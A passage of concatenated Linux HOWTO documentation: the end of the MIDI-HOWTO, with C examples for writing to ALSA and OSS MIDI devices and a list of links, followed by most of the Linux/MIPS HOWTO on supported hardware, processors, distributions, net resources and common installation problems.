        snd_seq_ev_set_subs( ev );
        snd_seq_ev_set_direct( ev );
        snd_seq_event_output_direct( seq_handle, ev );
        snd_seq_free_event(ev);
      } while (snd_seq_event_input_pending(seq_handle, 0) > 0);
    }
  return 0;
}

Below is an example of writing data to the OSS /dev/midi interface by Craig Stuart Sapp.

More examples can be found at Craig's site listed in the Links section.

//
// Programmer:    Craig Stuart Sapp [craig@ccrma.stanford.edu]
// Creation Date: Mon Dec 21 18:00:42 PST 1998
// Last Modified: Mon Dec 21 18:00:42 PST 1998
// Filename:      ...linuxmidi/output/method1.c
// Syntax:        C
// $Smake:        gcc -O -o devmidiout devmidiout.c && strip devmidiout
//

#include <linux/soundcard.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>

int main(void) {
   char* device =  "/dev/midi" ;
   unsigned char data[3] = {0x90, 60, 127};

   // step 1: open the OSS device for writing
   int fd = open(device, O_WRONLY, 0);
   if (fd < 0) {
      printf("Error: cannot open %s\n", device);
      exit(1);
   }

   // step 2: write the MIDI information to the OSS device
   write(fd, data, sizeof(data));

   // step 3: (optional) close the OSS device
   close(fd);

   return 0;
}


The Linux MIDI-HOWTO : Useful Links.

 Next Previous Contents

10. Useful Links.

Below is a list of links to sites and resources covering MIDI and Linux.

http://www.bright.net/~dlphilp/linuxsound/ Sound & MIDI Software For Linux. A huge resource of MIDI and Audio related information.

http://www.linuxdj.com/audio/lad/ Linux Audio Developers mailing list. For developer related discussion.

http://www.linuxdj.com/audio/quality The Linux Audio Quality HOWTO. A good section on MIDI cards, essential reading for building a Linux studio.

http://www.alsa-project.org/ Alsa Project - Audio/MIDI Driver

http://www.4front-tech.com/ OSS - Audio/MIDI Driver

http://www.gardena.net/benno/linux/audio/ Low Latancy patches

http://ccrma-www.stanford.edu/~craig/articles/linuxmidi/ Introduction to MIDI programming in Linux. Craig Stuart Sapp covers writing basic MIDI utilities in C/C++ for the OSS driver.

http://www.suse.de/~mana Excellent collection of ALSA 0.9 MIDI and PCM example C programs by Dr. Matthias Nagorni.


The Linux MIDI-HOWTO : Feedback.

 Next Previous Contents

11. Feedback.

As ever, a HOWTO is a work in progress. You are encouraged to give feedback on new applications and other interesting developments with MIDI under Linux.

MIDI cards are, by their wide variety, sometimes difficult to configure as they have various levels of driver support and configuration options. Your best source of reference for problems are ALSA's and OSS's websites, newsgroups, and if you get stuck please try searching the Linux Audio mailing lists.


Linux/MIPS HOWTO

Ralf Bächle, ralf@gnu.org

January 8, 2001

This FAQ describes the MIPS port of the Linux operating system, common problems and their solutions, availability and more. It also tries to be helpful to other people who might read this FAQ in an attempt to find information that actually should be covered elsewhere.

1. What is Linux/MIPS?

2. Getting this FAQ

3. What hardware does Linux/MIPS support?

  • 3.1 Hardware Platforms
  • 3.2 Processor types
  • 3.3 Hardware we're never going to support

4. Linux distributions.

  • 4.1 RedHat
  • 4.2 Debian
  • 4.3 Simple
  • 4.4 Other

5. Linux/MIPS net resources.

  • 5.1 Anonymous FTP servers.
  • 5.2 Anonymous CVS servers.
  • 5.3 Web servers.
  • 5.4 Web CVS server.
  • 5.5 Mailing lists.
  • 5.6 IRC channel.

6. Installation of Linux/MIPS and common problems.

  • 6.1 NFS booting fails.
  • 6.2 Self-compiled kernels crash when booting.
  • 6.3 Booting the kernel on the Indy fails with PROM error messages
  • 6.4 Where can I get the little endian firmware for my SNI?
  • 6.5 ld dies with signal 6
  • 6.6 My machine doesn't download the kernel when I try to netboot
  • 6.7 Bug in DHCP version 2

7. Milo

  • 7.1 Building Milo
  • 7.2 Pandora

8. Loadable Modules

9. How do I set up a cross-compiler?

  • 9.1 Available binaries
  • 9.2 Recommended compiler versions
  • 9.3 Building your own cross-compiler
  • 9.4 Disk space requirements
  • 9.5 Byte order
  • 9.6 Configuration names
  • 9.7 Installation of GNU Binutils.
  • 9.8 Assert.h
  • 9.9 Installing the kernel sources
  • 9.10 First installation of egcs
  • 9.11 Test what you've done so far
  • 9.12 Installing GNU libc
  • 9.13 Building egcs again
  • 9.14 Should I build the C++, Objective C or F77 compilers?
  • 9.15 How about float.h?
  • 9.16 Known problem when cross-compiling
  • 9.17 GDB

10. Related Literature

  • 10.1 See MIPS Run
  • 10.2 The MIPS Programmer's Handbook
  • 10.3 Computer Architecture - A Quantitative Approach
  • 10.4 UNIX System V ABI MIPS Processor Supplement
  • 10.5 The mips.com site
  • 10.6 The NEC site


Linux/MIPS HOWTO: What is Linux/MIPS?

 Next Previous Contents

1. What is Linux/MIPS?

Linux/MIPS is a port of the widespread UNIX clone Linux to the MIPS architecture. Linux/MIPS is running on a large number of technically very different systems ranging from small embedded systems and servers to large desktop machines and servers that, at least at the time when they were introduced into the market, were the best of their class.

Linux/MIPS advantages over other operating systems at this time are

  • The entire Linux system consists only of Free Software.
  • Excellent Price/Performance ratio.
  • Availability of large amounts of software of which a large part again is Free Software.
  • Binary compatibility across a growing number of platforms.
  • Small footprint making Linux/MIPS suitable for many embedded systems.

In short, Linux has been designed and ships with Fahrvergnügen. However, as usual your mileage may vary and you should examine the suitability of Linux for your task - something which we hope this document helps you to accomplish.


Linux/MIPS HOWTO: Getting this FAQ

 Next Previous Contents

2. Getting this FAQ

You can download this document in various formats:

  • The HTML version http://oss.sgi.com/mips/mips-howto.html
  • The text version http://oss.sgi.com/mips/mips-howto.txt
  • The Postscript version http://oss.sgi.com/mips/mips-howto.ps
  • The Linux-Doc SGML version. http://oss.sgi.com/mips/mips-howto.sgml

This FAQ is also available as SGML source code via anonymous CVS from oss.sgi.com. The archive also has a Makefile which will translate it into various formats. An ASCII version is regularly being posted via comp.os.linux.answers and the other Linux HOWTO channels.


Linux/MIPS HOWTO: What hardware does Linux/MIPS support?

 Next Previous Contents

3. What hardware does Linux/MIPS support?

3.1 Hardware Platforms

Many machines are available with a number of different CPU options of which not all are currently supported. Please check section Processor Types to make sure your CPU type is supported. This is a listing of machines that are running Linux/MIPS, systems to which Linux/MIPS could be ported, or systems that people have an interest in running Linux/MIPS.

Acer PICA

The Acer PICA is derived from the Mips Magnum 4000 design. It has a R4400PC CPU running at 133MHz or optionally 150MHz plus a 512KB (optionally 2MB) second level cache; the Magnum's G364 gfx card was replaced with a S3 968 based one. The system is supported with the exception of the X server.

Baget/MIPS series

The Baget series includes several boxes which have R3000 processors: Baget 23, Baget 63, and Baget 83. Baget 23 and 63 have BT23-201 or BT23-202 motherboards with R3500A (which is basically a R3000A chip) at 25 MHz and R3081E at 50 MHz respectively. The BT23-201 board has VME bus and VIC068, VAC068 chips as system controllers. The BT23-202 board has PCI as internal bus and VME as internal. Support for BT23-201 board has been done by Gleb Raiko (rajko@mech.math.msu.su) and Vladimir Roganov (vroganov@msiu.ru) with a bit of help from Serguei Zimin (zimin@msiu.ru). Support for BT23-202 is under development along with Baget 23B which consists of 3 BT23-201 boards with shared VME bus.

Baget 83 is mentioned here for completeness only. It has only 2MB RAM and it's too small to run Linux. The Baget/MIPS code has been merged with the DECstation port. The source for both is available at http://decstation.unix-ag.org/.

Cobalt Qube and Raq

The Cobalt Qube product series are low cost headless server systems based on a IDT R5230. Cobalt has developed its own Linux/MIPS variant to fit the special requirements of the Qube as well as possible. Basically, the Qube kernel was derived from Linux/MIPS 2.1.56, backported to 2.0.30 for stability's sake, then optimized. Cobalt kernels are available from Cobalt's ftp site http://www.cobaltnet.com. The Cobalt Qube support has never been integrated into the official Linux/MIPS 2.1.x kernels.

NEC machines

The NEC uniprocessor machines are OEM Acer PICA systems, see that section for details. The SMP systems are different from that. The Linux/MIPS developers have no technical documentation as necessary to write an OS. As long as that does not change, this will pretty much stay a show- stopper, preventing a port to NEC's SMP systems.

NEC VR41xx-based platforms

The Linux VR project is porting Linux to devices based on the NEC VR41xx microprocessors. Many of these devices were originally designed to run Windows CE. The project has produced working kernels with basic drivers for the Vadem Clio, Casio E-105, Everex Freestyle, and more. For more information please see http://linux-vr.org/.

Toshiba TMPR39xx/Philips PR31700 platforms

Similar to the VR41xx, devices with these processors were originally intended for running Windows CE. However, there are working kernels with basic drivers for Sharp Mobilon and the Compaq C-Series. Support for more devices is under construction. The code is part of the Linux VR project and as such more information can be found at http://linux-vr.org/.

Netpower 100

The Netpower 100 is apparently an Acer PICA in disguise. It should therefore be supported but this is untested. If there is a problem then it is probably the machine detection.

Nintendo 64

The Nintendo 64 is R4300-based game console with 4MB RAM. Its graphics chips were developed by Silicon Graphics for Nintendo. Right now this port has pipe dream status and will continue to be in that state until Nintendo decides to publish the necessary technical information. The question remains as to whether porting the Linux/MIPS code to this platform is a good idea.

Silicon Graphics Challenge S

This machine is very similar to the Indy, the differences are that it doesn't have a keyboard or graphics card, but has an additional SCSI WD33C95-based adapter. This WD33C95 hostadapter is currently not supported.

Silicon Graphics Indigo

This machine is only being mentioned here because people have occasionally confused it with Indys or the Indigo 2. The Indigo is a different R3000-based architecture however, and is not yet unsupported.

Silicon Graphics Indigo2

This machine is the successor to the Indigo and is very similar to the Indy. It is now supported, but is lacking in several areas. You will have to use serial console. If you have an Indigo2 and still want to run Linux on it, contact either Florian Lohoff (flo@rfc822.org) or Klaus Naumann (spock@mgnet.de) .

Silicon Graphics Indy

The Indy is currently the only (mostly) supported Silicon Graphics machine. The only supported graphics card is the Newport card, a.k.a. ``XL'' graphics. The Indy is available with a large number of CPU options at various clock rates, all of which are supported. There is also a X server available, now written by Guido Guenther (guido.guenther@gmx.net). If you're able to use the Newport console on your Indy it should be possible to also use this X server. It's based on XFree86 4.0 and currently runs at snail-like speeds, but it seems to work quite well. If you want to try it, take a look at http://honk.physik.uni-konstanz.de/~agx/mipslinux/x/ .

Strange amounts of available memory

On bootup, the kernel on the Indy will report available memory with a message like:

   Memory: 27976k/163372k available (1220k kernel code, 2324k data)
The large difference between the first pair of numbers is caused by a 128MB area in the Indy's memory address space which mirrors up to the first 128MB of memory. The difference between the two numbers will always be about 128MB and does not indicate a problem of any kind. Kernels since 2.3.23 don't count this 128MB gap any more.

Indy PROM related problems

Several people have reported these problems with their machines after upgrading them typically from surplus parts. There are several PROM versions for the Indy available. Machines with old PROM versions which have been upgraded to newer CPU variants, like a R4600SC or R5000SC module, can crash during the self test with an error message like:

   Exception: <vector=Normal>
   Status register: 0x30004803<CU1,CU0,IM7,IM4,IPL=???,MODE=KERNEL,EXL,IE>
   Cause register: 0x4000<CE=0,IP7,EXC=INT>
   Exception PC: 0xbfc0b598
   Interrupt exception
   CPU Parity Error Interrupt
   Local I/O interrupt register 1: 0x80 <VR/GIO2>
   CPU parity error register: 0x80b<B0,B1,B3,SYSAD_PAR>
   CPU parity error: address: 0x1fc0b598
   NESTED EXCEPTION #1 at EPC: 9fc3df00; first exception at PC: bfc0b598
In that case, you'll have to upgrade your machine's PROM to a newer version, or go back to an older CPU version (usually R4000SC or R4400SC modules should work). Just to be clear, this is a problem which is unrelated to Linux, it is only mentioned here because several Linux users have asked about it.

ELF support in old PROM versions

Old PROM versions don't know about the ELF binary format which the Linux kernel uses, so Linux cannot boot directly. The preferable solution for this is of course a PROM upgrade. Alternatively, you can use Sash for IRIX 5 or newer to boot the kernel. Sash knows how to load ELF binaries and doesn't care if it's an IRIX or Linux kernel. Simply type ``Sash'' to the PROM monitor. You should get another shell prompt, this time from Sash. Now launch Linux as usual.

Sash can read EFS or XFS filesystems or read the kernel from bootp / tftp. That means if you intend to use Sash for booting the kernel from local disk, you'll still have to have a minimal IRIX installation on your system.

Why is so much memory reserved on my Indy?

On bootup, the `Memory: ...' message on an Indy says that there is 128MB of RAM reserved. That is ok. Just like the PC architecture has a gap in its memory address space between 640KB and 1024KB, the Indy has a 128MB-sized area in its memory map where the first 128MB of its memory is mirrored. Linux knows about it and just ignores that memory, and thus this message.

Silicon Graphics Origin 200 and 2000

Ralf Bächle (ralf@gnu.org) and a team of SGI employees are currently working on a port to the Origin 200. While still in it's early stages, it's running in uniprocessor and multiprocessor mode and has drivers for the built-in IOC3 Ethernet and SCSI hostadapters. The code is available in the Linux/MIPS CVS tree.

Silicon Graphics Onyx 2

The Onyx 2 is basically an Origin 2000 with additional graphics hardware. As of now, writing Linux support for the graphics hardware has not yet been done. Aside from that, Linux should run just as well as on a normal, headless Origin 2000 configuration.

Silicon Graphics Power Series

This is a very old series of R3000 SMP systems. There is no hardware documentation for these machines, few of them even exist anymore, and the hardware is weird. In short, the chances that Linux will ever run on them are approximating zero. Not that we want to discourage any takers ...

Serial console on SGI machines

Make sure that the kernel you're using includes the appropriate driver for a serial interface and serial console. Set the console ARC environment variable to either the value d1, or d2 for Indy and Challenge S depending on which serial interface you're going to use as the console.

If you have the problem that all kernel messages appear on the serial console on boot-up, but everything is missing from the point when init starts, then you probably have the wrong setup for your /dev/console. You can find more information about this in the Linux kernel source documentation which is in /usr/src/linux/Documentation/serial-console.txt if you have the kernel source installed.

Other Silicon Graphics machines

At this time, no other Silicon Graphics machine is supported. This also applies to the very old Motorola 68k-based systems.

Sony Playstation

The Sony Playstation is based on an R3000 derivative and uses a set of graphics chips developed by Sony themselves. While the machine, in theory, is capable of running Linux, a port is difficult since Sony so far hasn't provided the necessary technical information. This still leaves the question of whether the port would be worthwhile. So in short, nothing has happened yet even though many people have shown an interest in running Linux on this system.

SNI RM200C

In contrast to the RM200 (see below), this machine has EISA and PCI slots. The RM200 is supported with the exception of the availability of the onboard NCR53c810A SCSI controller.

SNI RM200

If your machine has both EISA and PCI slots, then it is an RM200C (please see above). Due to the slight architectural differences of the RM200 and the RM200C, this machine isn't currently supported in the official sources. Michael Engel (engel@numerik.math.uni-siegen.de) has managed to get his RM200 working partially, but the patches haven't yet been included in the official Linux/MIPS sources.

SNI RM300C

The RM300 is technically very similar to the RM200C. It should be supported by the current Linux kernel, but we haven't yet received any reports.

SNI RM400

The RM400 isn't supported.

SNI RW320

This machine is a OEM variant of the SGI Indigo and therefore also unsupported.

Algorithmics P-4032, P-5064, P-6032

Algorithmics ( http://www.algor.co.uk/) make a series of single-board computers for MIPS prototyping, and maintain Linux kernels for all of them:

  • P-6032 is a new board for CPUs with 32-bit buses (QED RM5231, NEC Vr43x0, NEC Vr5432, IDT 64x74)
  • P-4032 is an older board obsoleted by P-6032.
  • P-5064 is for CPUs with 64-bit buses, notably QED's RM70xx and RM52xx series.

All the boards have common I/O plus ethernet and disk interfaces onboard, with spare PCI slots for adding different controllers. They're highly configurable, so will run with either byte order. All are suitable targets for 64-bit kernels, but (so far) all the Linux work we've done has been using 32-bit code.

They're available, supported and documented with PDF manuals available online, like http://www.algor.co.uk/ftp/pub/doc/p6032-user.pdf for the P-6032.

At the time of writing (November 2000) we are using a 2.2.x kernel; kernel code is shared with the ports being done by people from MIPS Technologies, Inc.). Algorithmics wrote the floating point trap handler and emulator used in this kernel - essential for MIPS CPUs to run floating point operations reliably and correctly.

Algorithmics' kernels and a link to the MIPS userland can be found from a jump page at http://www.algor.co.uk/algor/info/linux.html

You can contact us at Algorithmics.

DECstation series

During the late 80's and the early 90's, Digital (now Compaq) built MIPS-based Workstations named DECstation resp. DECsystem. Other x86 and Alpha-based machines were sold under the name DECstation, but these are obviously not the subject of this FAQ. Support for DECstations is still under development, started by Paul M. Antoine. These days, most of the work is done by Harald Koerfgen (Harald.Koerfgen@home.ivm.de) and others. On the Internet, DECstation-related information can be found at http://decstation.unix-ag.org/.

The DECstation family ranges from the DECstation 2100 with an R2000/R2010 chipset at 12 MHz, to the DECstation 5000/260 with a 60 MHz R4400SC.

The following DECstation models are actively supported:

  • 2100, codename PMAX
  • 5000/xx (Personal DECstation), codename MAXine
  • 5000/1xx, codename 3MIN
  • 5000/200, codename 3MAX
  • 5000/2x0, codename 3MAX+
  • 5900/2x0 (identical to the 3MAX+).

These DECstation models are orphaned because nobody is working on them, but support for them should be relatively easy to achieve.

  • 3100, identical to the 2100 except the R2000A/R2010A @ 16 MHz
  • 5100, codename MIPSMATE, almost identical to the 2100 but with an R3000/R3010 chipset.

The other members of the DECstation family, besides the x86 based ones, should be considered as VAXen with the CPU replaced by a MIPS CPU. There is absolutely no information available about these machines and support for them is unlikely to ever happen unless the VAXLinux port comes back to life. These are:

  • 5400, codename MIPSFAIR
  • 5500, codename MIPSFAIR2
  • 5800, codename ISIS

Mips Magnum 4000 / Olivetti M700-10

These two machines are almost completely identical. Back during the ACE initiative, Olivetti licensed the Jazz design and marketed the machine with Windows NT as the OS. MIPS Computer Systems, Inc. bought the Jazz design and marketed it as the MIPS Magnum 4000 series of machines. Magnum 4000 systems were marketed with Windows NT and RISC/os as the operating systems.

The firmware on the machine depended on the operating system which was installed. Linux/MIPS supports only the little endian firmware on these two types of machines. Since the M700-10 was only marketed as an NT machine, all M700-10 machines have this firmware installed. The MIPS Magnum case is somewhat more complex. If your machine has been configured big endian for RISC/os, then you need to reload the little endian firmware. This firmware was originally included on a floppy with the delivery of every Magnum. If you don't have the floppy anymore you can download it via anonymous ftp from ftp://ftp.fnet.fr.

It is possible to reconfigure the M700 for headless operation by setting the firmware environment variables ConsoleIn and ConsoleOut to multi()serial(0)term(). Also, try the command listdev which will show the available ARC devices.

In some cases, like where the G364 graphics card is missing but the console is still configured to use normal graphics, it will be necessary to set the configuration jumper JP2 on the board. After the next reset, the machine will reboot with the console on COM2.

MIPS Magnum 4000SC

The MIPS Magnum 4000SC is the same as a Magnum 4000 (see above) with the exception that it uses an R4000SC CPU.

3.2 Processor types

R2000, R3000 family

The R2000 is the original MIPS processor. It's a 32 bit processor which was clocked at 8MHz back in '85 when the first MIPS processors came to the market. Later versions were clocked faster, for example, the R3000 is a 100% compatible redesign of the R2000 which is just clocked faster. Because of their high compatibility, where this document mentions the R3000, in most cases the same facts also apply to the R2000. The R3000A is basically an R2000, plus an R3010 FPU, and 64K cache running at up to 40MHz all integrated onto the same chip.

Harald Koerfgen (Harald.Koerfgen@home.ivm.de) and Gleb O. Raiko (raiko@niisi.msk.ru) have both independently worked on patches for R3000 processors. The work has been merged and integrated into the official Linux/MIPS sources since July 1999. Actually, Linux supports R3000 processors including some derivatives like the R3081 and the TMPR3912/PR31700

R6000

Sometimes people confuse the R6000, a MIPS processor, with RS6000, a series of workstations made by IBM. So, if you're reading this in hope of finding out more about Linux on IBM machines, then you're reading the wrong document.

The R6000 is currently not supported. It is a 32-bit MIPS ISA 2 processor; a pretty interesting and weird piece of silicon. It was developed and produced by a company named BIT Technology. Later, NEC took over the semiconductor production. It was built using ECL technology, the same technology that was, and still is, being used to build extremely fast chips like those used in some Cray computers. The processor had its TLB implemented as part of the last couple of lines of the external primary cache, a technology called TLB slice. That means its MMU is substantially different from those of the R3000 or R4000 series, which is also one of the reasons why the processor isn't supported.

R4000 and R5000 family

Linux supports many of the members of the R4000 family. Currently, these are: R4000PC, R4400PC, R4300, R4600, R4700, R5000, R5230, R5260. Many others are probably supported as well.

Not supported are the R4000MC and R4400MC CPUs (that is multiprocessor systems), as well as R5000 systems with a CPU-controlled second level cache. This means that the cache is controlled by the R5000 itself, in contrast to some external cache controller. The difference is important because, unlike other systems, especially PCs, on MIPS the cache is architecturally visible and needs to be controlled by software.

Special credit goes to Ulf Carlsson (ulfc@engr.sgi.com) who provided the CPU module for debugging the R4000SC / R4400SC support.

R8000

The R8000 is currently unsupported partly because this processor is relatively rare and has only been used in a few SGI machines, and partly because the Linux/MIPS developers don't have such a machine.

The R8000 is a pretty interesting piece of silicon. Unlike the other members of the MIPS family it is a set of seven chips. It's cache and TLB architecture are pretty different from the other members of the MIPS family. It was born as a quick hack to get the floating point crown back to Silicon Graphics before the R10000 is finished.

R10000

The R10000 is supported as part of the mips64 kernel which currently is supported on the IP22 (SGI Indy, Challenge S and Indigo 2) and Origin.

Due to the very hard-to-handle way this processor works in non-cachecoherent systems, it will probably be some time until we support this processor in such systems. As of today, these systems are the SGI O2 and Indigo

Processors without TLB

For embedded purposes, there are special derivates of the above CPU available which often lack a full TLB. We don't support those types nor should you ever expect such support to be added.

Hackers may want to take a look at a Linux subset named Microcontroller Linux, or short, ucLinux. This would be supportable on TLB-less processors. Given the litte difference between CPU types with and without TLB, we still recommend that you choose a processor with TLB. It's going to save you a lot of engineering.

Processors with partial or no FPU

In theory, these processors are supportable, especially when applications don't rely on the presence of a FPU. We, however, don't support that yet.

3.3 Hardware we're never going to support

IBM RS6000

As the name says, these are IBM machines which are based on the RS6000 processor series, and, as such, they're not the subject of the Linux/MIPS project. People frequently confuse the IBM RS6000 with the MIPS R6000 architecture. However, the Linux/PPC project might support these machines. Checkout http://www.linuxppc.org/ for further information.

VaxStation

As the name already implies, this machine is a member of Digital Equipment's VAX family. It's mentioned here because people often confuse it with Digital's MIPS-based DECstation family due to the similar type numbers. These two families of architectures share little technical similarities. Unfortunately, the VaxStation, like the entire VAX family, is currently unsupported.

SGI VisPC

This is actually an x86-based system, therefore not covered by this FAQ. There is some limited Linux support available for the older Visual Workstations. The current series of Visual Workstations is an officially supported SGI product. Please see http://oss.sgi.com and http://www.sgi.com for more information.

Motorola 68k-based machines like the Iris 3000

These are very old machines, probably more than ten years old by now. As these machines are not based on MIPS processors, and therefore not supported by the Linux/MIPS project, this document is the wrong place to search for information.


Linux/MIPS HOWTO: Linux distributions.

 Next Previous Contents

4. Linux distributions.

4.1 RedHat

For MIPSeb, there's Rough Cuts Linux, previously known as Hard Hat Linux, which is most of RedHat Linux 5.1 ported for MIPSeb. You can get this at ftp://oss.sgi.com/pub/linux/mips/redhat.

It is bundled along with M68k, UltraSparc, and PowerPC in a package called "Rough Cuts" pressed by RedHat, and available wherever RedHat products are sold. This is a very convenient way to get it without having to download 280MB. Redhat is no longer offering this product but if you're lucky you may still find the CD in some shops or somewhere on the net.

A distribution based on Red Hat 5.2 that's targeting the Cobalt Qubes. Those binaries will work perfectly on other MIPSel architectures and are available at ftp://intel.cleveland.lug.net/pub/Mipsel. ftp://bolug.uni-bonn.de/mips has various rpm packages from Redhat 6.0, 6.1 and 6.2.

4.2 Debian

A Debian port is underway. Current efforts are being bootstrapped using SGI/Linux as a base, and dpkg compiles natively with few changes. In addition to the SGI version, some interest has been shown in little endian platforms. Keep an eye on the Debian-MIPS Port page, http://www.debian.org/ports/mips/ for developments.

4.3 Simple

This distribution is for big-endian systems only so far. It's highly experimental, intended for developers' use in testing the latest versions of gcc, binutils, glibc, and the kernel. This is the only glibc 2.2-based distribution available for MIPS. You can always get the latest version of this distribution and accompanying release notes at ftp://oss.sgi.com/pub/linux/mips/mips-linux/simple. Also available is a cross-compiler system to aid in development.

4.4 Other

Kevin Kissel of MIPS, Inc. has put together a compilation of the RedHat 5.2 mipsel distribution that includes the all the packages from the Cleveland LUG site ftp://intel.cleveland.lug.net/pub/Mipsel, plus quite a few others from elsewhere that are either newer than, or missing from, the Cleveland LUG distribution. This compilation can be found via HTML at http://www.paralogos.com/mipslinux or directly by FTP at ftp://ftp.paralogos.com/pub/linux/mips/RPMS/mipsel.


Linux/MIPS HOWTO: Linux/MIPS net resources.

 Next Previous Contents

5. Linux/MIPS net resources.

5.1 Anonymous FTP servers.

The two primary anonymous FTP servers for Linux/MIPS are

oss.sgi.com

This server should satisfy almost all of your Linux/MIPS related ftp desires. Really.

ftp.fnet.fr

This server is currently pretty outdated. It's included here mostly for completeness, and for people with interest in prehistoric software.

On all of these ftp servers, there is a list of mirror sites you may want to use for faster access.

Another source for little endian MIPS binaries is ftp://intel.cleveland.lug.net/pub/Mipsel, which carries mostly newer versions of binaries for the RedHat flavour shipping with the Cobalts.

5.2 Anonymous CVS servers.

For those who always want to stay on the bleeding edge, and want to avoid having to download patch files or full tarballs, we also have an anonymous CVS server. Using CVS, you can checkout the Linux/MIPS source tree with the following commands:

   cvs -d :pserver:cvs@oss.sgi.com:/cvs login
   (Only needed the first time you use anonymous CVS, the password is "cvs")
   cvs -d :pserver:cvs@oss.sgi.com:/cvs co <repository>
where you insert linux, libc, gdb or faq for <repository>.

The other important CVS archive of the Linux community is vger.kernel.org, where a lot of code is being collected before being sent to Linus for distribution. Although vger itself no longer offers anonymous access, there are mirror sites which do provide anonymous access. For details on how to access them, see http://cvs.on.openprojects.net/. The modules which are of interest are: ``linux'', ``modutils'', ``pciutils'', and ``netutils''.

5.3 Web servers.

The two primary web servers for Linux/MIPS are

http://oss.sgi.com/mips

This server covers most of Linux/MIPS. It's somewhat SGI-centric, but since Linux/MIPS tries to be the same on every platform, most of its information is of interest to all users.

http://www.linux-mips.org

Quite new site which one day will hopefully become the main Linux/MIPS site.

http://lena.fnet.fr

This server is currently pretty outdated. It's included here mostly for completeness.

All of these servers have mirrors scattered all over the world - you may want to use one for best performance.

5.4 Web CVS server.

Via http://oss.sgi.com/mips/cvsweb, you have direct access to the new Linux/MIPS kernel sources, and a few other projects hosted in the same CVS archive. The intuitive interface allows you to follow the development at the click of your mouse.

5.5 Mailing lists.

There are three Linux/MIPS-oriented mailing lists:

linux-mips@fnet.fr

This mailing list is used for most all non-SGI related communication. Subscription is handled by a human, and you can send your subscription requests to linux-mips-request@fnet.fr. You can unsubscribe from this mailing list by sending unsubscribe <your-email-address> to the same address. Only subscribers are allowed to post to this list.

linux-mips@oss.sgi.com

This mailing list currently has the most traffic. It's somewhat SGI-centric but is nevertheless of interest especially to developers as a good number of SGI engineers are subscribed to this list. Subscription to this list is handled via Majordomo (majordomo@oss.sgi.com), just send an email with the words subscribe linux-mips. In order to unsubscribe, send unsubscribe linux-mips. For more, information see also http://oss.sgi.com/mips/email.html.

5.6 IRC channel.

There is an IRC channel named #mipslinux for Linux/MIPS which may be found on irc.openprojects.net.


Linux/MIPS HOWTO: Installation of Linux/MIPS and common problems.

 Next Previous Contents

6. Installation of Linux/MIPS and common problems.

6.1 NFS booting fails.

Usually, the reason for this is that people have unpacked the tar archive under IRIX, not Linux. Since the representation of device files over NFS is not standardized between various Unices, this fails. The symptom is that the system dies with the error message ``Warning: unable to open an initial console.'' right after mounting the NFS filesystem.

For now, the workaround is to use a Linux system (doesn't need to be MIPS) to unpack the installation archive onto the NFS server. The NFS server itself may be any type of UNIX.

6.2 Self-compiled kernels crash when booting.

When I build my own kernel, it crashes. On an Indy the crash message looks like the following (the same problem hits other machines as well but may look completely different):

   Exception: <vector=UTLB Miss>
   Status register: 0x300004803<CU1,CU0,IM4,IPL=???,MODE=KERNEL,EXL,IE>
   Cause register: 0x8008<CE=0,IP8,EXC=RMISS>
   Exception PC: 0x881385cc, Exception RA: 0x88002614
   exception, bad address: 0x47c4
   Local I/O interrupt register 1: 0x80 <VR/GIO2>
   Saved user regs in hex (&gpda 0xa8740e48, &_regs 0xa8741048):
     arg: 7 8bfff938 8bfffc4d 880025dc
     tmp: 8818c14c 8818c14c 10 881510c4 14 8bfad9e0 0 48
     sve: 8bfdf3e8 8bfffc40 8bfb2720 8bfff938 a8747420 9fc56394 0 9fc56394
     t8 48 t9 8bfffee66 at 1 v0 0 v1 8bfff890 k1 bad11bad
     gp 881dfd90 fp 9fc4be88 sp 8bfff8b8 ra 88002614

   PANIC: Unexpected exception

This problem is caused by a still unfixed bug in Binutils newer than version 2.7. As a workaround, change the following line in arch/mips/Makefile from:

   LINKFLAGS       = -static -N

to:

   LINKFLAGS       = -static

6.3 Booting the kernel on the Indy fails with PROM error messages

   >> boot bootp()/vmlinux
   73264+592+11520+331680+27848d+3628+5792 entry: 0x8df9a960
   Setting $netaddres to 192.168.1.5 (from server deadmoon)
   Obtaining /vmlinux from server deadmoon

   Cannot load bootp()/vmlinux
   Illegal f_magic number 0x7f45, expected MIPSELMAGIC or MIPSEBMAGIC.

This problem only happens for Indys with very old PROM versions which cannot handle the ELF binary format which Linux uses. A solution for this problem is in the works.

6.4 Where can I get the little endian firmware for my SNI?

SNI's system can be operated in both big and little endian modes. At this time, Linux/MIPS only supports the little endian firmware. This is somewhat unlucky since SNI hasn't shipped that firmware for quite some time, since they dropped Windows NT.

When running in big endian mode, the firmware looks similar to an SGI Indy which is already supported, therefore fixing the SNI support will be relatively easy. Interested hackers should contact Ralf Bächle (ralf@gnu.org).

6.5 ld dies with signal 6

   collect2: ld terminated with signal 6 [Aborted]
This is a known bug in older binutils versions. You will have to upgrade to binutils 2.8.1 plus very current patches.

6.6 My machine doesn't download the kernel when I try to netboot

Your machine is replying to the BOOTP packets (you may verify this using a packet sniffer like tcpdump or ethereal), but doesn't download the kernel from your BOOTP server. This happens if your boot server is running a kernel of the 2.3 series or higher. The problem may be circumvented by doing a "echo 1 > /proc/sys/net/ipv4/ip_no_pmtu_disc" as root on your boot server.

6.7 Bug in DHCP version 2

When using DHCP version 2 you might see the following problem: Your machines receives it's BOOTP reply 3 times but refuses to start TFTP. You can fix this by doing a "unsetenv netaddr" in the PROM command monitor before you boot your system. DHCP version 3 fixes that problem.


Linux/MIPS HOWTO: Milo

 Next Previous Contents

7. Milo

Milo is the boot loader used to boot the little endian MIPS systems with ARC firmware, currently the Jazz family and the SNI RM 200. While Milo uses the same name and has a similar purpose to the Alpha version of Milo, these two Milos have nothing else in common. They were developed by different people, don't share any code, and work on different hardware platforms. The fact that both have the same name is just a kind of historic ``accident''.

Plans are to remove the need for Milo in the near future.

7.1 Building Milo

The building procedure of Milo is described, in detail, in the README files in the Milo package. Since Milo has some dependencies to kernel header files which have changed over time, Milo often cannot be built easily. However, the Milo distribution includes binaries for both Milo and Pandora.

7.2 Pandora

Pandora is a simple debugger which was primarily developed in order to analyze undocumented systems. Pandora includes a disassembler, memory dump functions, and more. If you only want to use Linux, then there is no need to install Pandora, despite its small size.


Linux/MIPS HOWTO: Loadable Modules

 Next Previous Contents

8. Loadable Modules

Using modules on Linux/MIPS is quite easy. It should work as expected for people who have used the feature on other Linux systems. If you want to run a module-based system, then you should have at least kernel version 980919, and modutils newer than version 2.1.121 installed. Older versions won't work.


Linux/MIPS HOWTO: How do I set up a cross-compiler?

 Next Previous Contents

